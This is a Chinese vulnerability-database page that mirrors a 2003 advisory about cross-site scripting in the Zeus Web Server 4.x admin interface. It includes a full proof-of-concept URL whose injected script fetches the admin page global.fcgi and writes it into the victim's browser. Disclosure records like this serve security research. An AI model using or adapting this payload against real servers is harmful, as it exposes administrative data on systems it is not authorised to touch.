Zeus Web Server 4.x – Admin Interface ‘VS_Diag.cgi’ Cross-Site Scripting

Zeus Web Server 4.x – Admin Interface ‘VS_Diag.cgi’ Cross-Site Scripting

漏洞ID 1053899 漏洞类型
发布时间 2003-05-29 更新时间 2003-05-29
图片[1]-Zeus Web Server 4.x – Admin Interface ‘VS_Diag.cgi’ Cross-Site Scripting-安全小百科CVE编号 N/A
图片[2]-Zeus Web Server 4.x – Admin Interface ‘VS_Diag.cgi’ Cross-Site Scripting-安全小百科CNNVD-ID N/A
漏洞平台 CGI CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22692
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/7751/info

The Zeus Web Server contains a web based administration interface that is vulnerable to cross site scripting attacks.

Due to insufficient sanitization of user-supplied input, it is possible for an attacker to construct a malicious link which contains arbitrary HTML and script code, which will be executed in the web client of a user who visits the malicious link. It should be noted that the user must authenticate with the administrative interface for the attack to succeed.

The vendor has stated that cookies are not used to store usernames and passwords.

http://<target>:9090/apps/web/vs_diag.cgi?server=<script>function%20pedo()
{var%20xmlHttp%20=%20new%20ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open
("GET","http://<target>:9090/apps/web/global.fcgi",false);xmlHttp.send
();xmlDoc=xmlHttp.responseText;document.write(xmlDoc);}pedo();alert("Have%
20you%20enabled%20the%20protection%20of%20your%20ZEUS...?%20We%20can%20rip%
20this%20info!%20Much%20more%20evil%20actions%20are%20possible...")
</script>

相关推荐: PHPReactor 1.2.7 pl1 – ‘browse.php’ Cross-Site Scripting

PHPReactor 1.2.7 pl1 – ‘browse.php’ Cross-Site Scripting 漏洞ID 1053630 漏洞类型 发布时间 2002-10-10 更新时间 2002-10-10 CVE编号 N/A CNNVD-ID N/A …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享